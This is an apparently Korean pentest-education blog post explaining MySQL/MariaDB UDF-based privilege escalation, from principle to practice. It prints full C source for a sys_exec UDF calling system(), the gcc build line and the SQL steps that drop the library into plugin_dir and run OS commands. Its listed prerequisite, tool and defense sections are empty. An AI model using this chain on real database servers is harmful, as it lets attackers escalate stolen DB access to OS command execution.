← 목록으로

UDF(User-Defined Function) 기반 DB 권한 상승: 원리부터 실전까지

[Pwn] Pwnable · 작성: 2026-07-20 03:01:37 · 조회 7

프로젝트 글(WHS3 SIEM/SOAR)에서 "UDF 기반 DB 권한 상승(LPE)"라고만 언급하고 넘어간 부분이 있는데, 이 기법 자체가 SQLi/DB 계정 탈취를 OS 레벨 권한으로 넘기는 핵심 다리라서 따로 깊게 다룰 만하다. DB 서버 하나 털렸다고 거기서 끝나는 게 아니라는 걸 보여주는 대표적인 케이스다.

UDF가 뭐고 왜 권한 상승으로 이어지는가

UDF(User-Defined Function)는 MySQL/MariaDB에서 SQL 문법만으로는 표현하기 어려운 기능을, 외부 공유 라이브러리(Linux는 .so, Windows는 .dll)로 작성해서 SQL 함수처럼 등록해 쓰는 확장 기능이다. CREATE FUNCTION으로 라이브러리 안의 심볼을 SQL 함수 이름에 연결해두면, 그 이후로는 SELECT my_func(...)처럼 평범한 함수 호출로 실행된다.

문제는 이 라이브러리 코드가 mysqld(DB 서버) 프로세스 안에서 직접 실행된다는 점이다. 즉 라이브러리 안에 system() 같은 걸 호출하는 함수를 심어두면, SQL 쿼리 한 줄로 mysqld 프로세스의 권한(보통 mysql 계정, 환경에 따라 더 높은 권한인 경우도 있다)으로 임의의 OS 명령을 실행할 수 있다. SQL Injection이나 DB 계정 탈취로 얻은 "DB 안에서의 권한"이 "OS 명령 실행"으로 바뀌는 지점이 바로 여기다.

전제조건 — 실전에서는 여기서 많이 막힌다

이 기법이 아무 DB에서나 되는 건 아니다. 최소한 아래가 갖춰져야 한다.

즉 "SQLi로 DB 접근권을 얻었다"와 "UDF로 LPE가 가능하다" 사이에는 위 조건들을 만족하는지 확인하는 단계가 반드시 필요하다.

UDF 함수 규약과 실제 코드

MySQL UDF는 세 함수로 구성된 규약을 따른다: 초기화(xxx_init), 실제 로직(xxx), 정리(xxx_deinit). 명령 실행용 UDF의 최소 구현은 이렇게 생겼다.

#include <mysql.h>
#include <stdlib.h>
#include <string.h>

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
        strcpy(message, "sys_exec() requires one string argument");
        return 1;
    }
    return 0;
}

long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
    if (args->args[0] == NULL) return 1;
    return system(args->args[0]);
}

void sys_exec_deinit(UDF_INIT *initid) {}

MySQL 헤더를 링크해서 공유 라이브러리로 컴파일한다.

gcc -shared -fPIC -o udf.so udf.c -I/usr/include/mysql

라이브러리를 심고 함수로 등록하기

DB 접근 권한만으로 파일을 올려야 하므로, 컴파일된 바이너리를 헥스로 인코딩해서 SQL로 그대로 써넣는 방식을 쓴다.

-- 1) 컴파일된 .so를 hex로 인코딩한 값을 plugin_dir에 파일로 기록
SELECT UNHEX('<컴파일된 udf.so를 hex로 덤프한 값>') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

-- 2) 라이브러리 안의 심볼을 SQL 함수로 등록
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';

-- 3) 이제 평범한 함수처럼 호출 가능
SELECT sys_exec('id > /tmp/out; chmod 666 /tmp/out');

Windows 대상이면 .dll로 컴파일하고, plugin_dir도 보통 C:\...\MySQL\lib\plugin 형태로 다르다는 점만 바뀔 뿐 원리는 동일하다.

이미 자동화되어 있는 도구들

이 과정을 손으로 다 하는 경우는 드물다. 대표적으로:

다만 원리를 모르고 도구만 돌리면, secure_file_priv에 막혀서 실패했을 때 "왜 안 되는지"를 진단하지 못하고 거기서 멈춘다. FILE 권한이 없는 건지, secure_file_priv가 막고 있는 건지, plugin_dir 경로를 못 찾은 건지를 구분하려면 결국 위 단계를 이해하고 있어야 한다.

탐지와 방어

마무리

DB 계정 하나가 뚫렸다고 거기서 진단이나 공격 시나리오가 끝나는 게 아니다. SQLi나 DB 계정 탈취 시나리오를 설계할 때는, 그 다음 단계로 UDF 기반 LPE가 가능한 조건(FILE 권한, secure_file_priv, plugin_dir 쓰기 권한)이 갖춰져 있는지까지 같이 점검하는 습관이 실전에서 진단 범위를 훨씬 정확하게 만들어준다.

Pwnable 카테고리의 글 (10/14)

  1. 메모리 구조 기초: 스택, 힙, 레지스터부터 이해하기
  2. 스택 버퍼 오버플로우: 가장 기본적인 메모리 손상 공격
  3. Format String 취약점: printf가 위험해지는 순간
  4. Stack Canary: 원리와 우회 방법
  5. NX/DEP 우회와 Return-to-libc
  6. ASLR과 정보 유출(Leak)
  7. ROP (Return-Oriented Programming) 완전 정복
  8. 힙 익스플로잇 기초: Use-After-Free와 Double Free
  9. pwntools 실전 활용법
  10. UDF(User-Defined Function) 기반 DB 권한 상승: 원리부터 실전까지
  11. Pass-the-Hash / Pass-the-Ticket: 원리와 실전
  12. eBPF 기반 지속성(Persistence) 기법
  13. Full RELRO 환경에서의 GOT Overwrite와 우회
  14. ret2dlresolve: 심볼 정보 없이 임의 함수 호출하기
← pwntools 실전 활용법 Pass-the-Hash / Pass-the-Ticket: 원리와 실전 →